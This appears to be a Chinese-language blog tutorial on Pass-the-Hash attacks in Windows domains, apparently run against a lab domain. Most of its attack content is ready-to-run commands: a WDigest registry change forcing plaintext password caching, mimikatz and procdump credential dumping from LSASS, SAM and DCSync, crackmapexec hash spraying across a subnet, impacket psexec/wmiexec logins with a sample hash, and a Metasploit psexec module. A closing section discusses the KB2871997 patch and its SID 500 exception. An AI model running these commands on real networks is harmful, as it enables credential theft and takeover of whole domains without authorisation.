域渗透之Hash传递攻击

在这里插入图片描述
哈希传递(Pass The Hash)攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在 Windows 系统 NTLM 认证的 TYPE 3 消息计算 Response 的时候,客户端是使用用户的 NTLM Hash 进行计算的,而不是用户密码进行计算的。因此在模拟用户登录或对访问资源的用户进行身份认证的时候,是不需要用户明文密码的,只需要用户 Hash。攻击者可以利用 NTLM HASH 直接远程登录目标主机或反弹 Shell。
横向渗透中的哈希传递攻击,这一部分在内网渗透中是十分关键的。在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。

什么是PTH攻击

哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。 攻击者无须通过解密hash值来获取明文密码。因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击。 攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

虽然哈希传递攻击可以在Linux,Unix和其他平台上发生,但它们在windows系统上最普遍。 在Windows中,pth通过NT Lan Manager(NTLM),Kereros和其他身份验证协议来进行单点登录。在Windows中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredMan),Active Directory中的ntds.dit数据库或者其他地方。因此,当用户登录windows工作站或服务器时,他们实际上会留下密码凭据(hash)

PTH 的影响

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,只能读取哈希值。虽然此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

然后强制要求lsass.exe来缓存明文密码再进行抓取,但是这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。

通过明文密码来横向移动是极其有效的,一个是通用弱口令,一个是密码规律的猜测,在大量机器的环境中都是很可能存在的,但是随着系统版本迭代,我们获取到明文密码的难度越来越大,但是hash的获取是固定存在的,因为window中经常需要用hash来进行验证和交互。所以利用hash来进行横向移动在内网渗透中经常充当主力的角色。

在域环境中,利用pass the hash的渗透方式往往是这样的:

  1. 获得一台域主机的权限
  2. Dump内存获得用户hash
  3. 通过pass the hash尝试登录其他主机
  4. 继续搜集hash并尝试远程登录
  5. 直到获得域管理员账户hash,登录域控,最终成功控制整个域
Dump Hash
mimikatz
privilege::debug
sekurlsa::msv

在这里插入图片描述
当然也可以用下面的命令获取全部用户的密钥和明文:

privilege::debug
sekurlsa::logonPasswords

在这里插入图片描述
读取SAM数据库获取用户Hash,获取系统所有本地用户的hash:

privilege::debug
token::elevate
lsadump::sam

在这里插入图片描述

也可以使用dcsync功能导出域内的所有hash: 但是得具有dcsync的权限。

lsadump::dcsync /domain:relaysec.com /all /csv
Invoke-Mimikatz.ps1

这个是mimikatz的powershell版本,也经常用于在内网渗透中,相对于exe的版本会方便许多。

该脚本集成在PowerSploit项目中,下载地址:Invoke-Mimikatz.ps1

这个工具在另外一篇文章有写过具体的用法Powershell在渗透测试中的利用

这里就不叙述了。

转储lsass进程

因为我们的凭证除了在sam文件中,还可以在lsass进程保存,现在找到lsass进程,然后创建转储文件:
在这里插入图片描述
将该文件下载回来放置在Mimikatz的同目录下,然后执行:

sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full

当然我们也可以使用procdump这个程序来导出lsass.dmp,只需在命令行获取system权限操作即可。

该工具是微软官方的一款工具:Download ProcD ump

执行以下命令即可导出lass.dmp:

32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

在这里插入图片描述

Pass The Hash

因为很多的时候域内机器都是通过域用户进行登录的,大量计算机在安装时会使用相同的本地管理员账号和密码,也就是我们PTH的其实是他的管理员Hash。攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域环境或工作组环境。

这里推荐使用一个批量的工具,比如说我们现在拿到一个域内用户的Hash值,但是我们不知道它可以登录那些主机。

所以可以使用crackmapexec来进行批量,可以看到当可以PTH的时候,他就会执行DIR的命令。

这里的Hash是我们从win2012这台机器上面获取到的,也就是说win2012这台机器上面的本地管理员的Hash是和域控的Hash是差不多的,也可以这么理解就是说这个账户和其他机器是同样的用户名和密码。

crackmapexec smb 10.211.1.0/24 -u administrator -H 120affe7f83854a57eb32bb6b76e70fa -d relaysec.com -x dir

在这里插入图片描述
这里我们就可以使用psexec进行hash传递了。

 python3 psexec.py relaysec.com/Administrator@10.211.1.3 -hashes 'aad3b435b51404eeaad3b435b51404ee:120affe7f83854a57eb32bb6b76e70fa'

在这里插入图片描述
同样也可以使用wmiexec

python3 wmiexec.py relaysec.com/Administrator@10.211.1.3 -hashes 'aad3b435b51404eeaad3b435b51404ee:120affe7f83854a57eb32bb6b76e70fa'

在这里插入图片描述

psexec和wmiexec的区别

?

MSF批量PTH
use exploit/windows/smb/psexec
set smbdomain relaysec.com
set smbuser administrtaor
set smbpass aad3b435b51404eeaad3b435b51404ee:120affe7f83854a57eb32bb6b76e70fa
set rhost 10.211.1.0/24
exploit

攻击成功后,会返回一个meterpreter类型的session在这里插入图片描述

防护

微软在2014年5月发布了 KB2871997 和 KB2928120 两个补丁。KB2871997是针对PTH攻击的,这个被称为“PTH杀手”的更新将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。

我们可以来试试。 我们可以在微软的官方进行下载。

https://www.catalog.update.microsoft.com/Search.aspx?q=KB2871997%20在这里插入图片描述
但是在测试中发现,在打了 kb2871997 这个补丁后,常规的哈希传递已经无法成功,但是唯独默认的 Administrator(SID 500)帐号例外,利用这个账号仍可以进行哈希传递。注意即使把Administrator改名了,它的SID仍然是500,只要它还是 SID 500那么以前的攻击方法还是有效。

所以作为防守方的管理员应该禁用掉默认的本地管理员,然后重新创建一个常规的本地用户,再把它加入到管理组里面,如果这样做了那么dump到本地的hash将不再在网络重放中生效。不管是hash还是实际的credentials,win7是默认禁用管理员的。

还有一点虽然可以使用本地管理员的Hash进行PTH,但是远程连接不行了。

因为在远程测试的本地管理员组中,已经不是SID 500了。

如下这里我们将用户名Administrator改为superAdmin。
在这里插入图片描述
这里已经登录不上了。
在这里插入图片描述
但是还是可以PTH的。
在这里插入图片描述
这里我们将KB2871997这个补丁给他干掉。目前是有的。
在这里插入图片描述
现在就可以登录了。在这里插入图片描述

  • 18
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值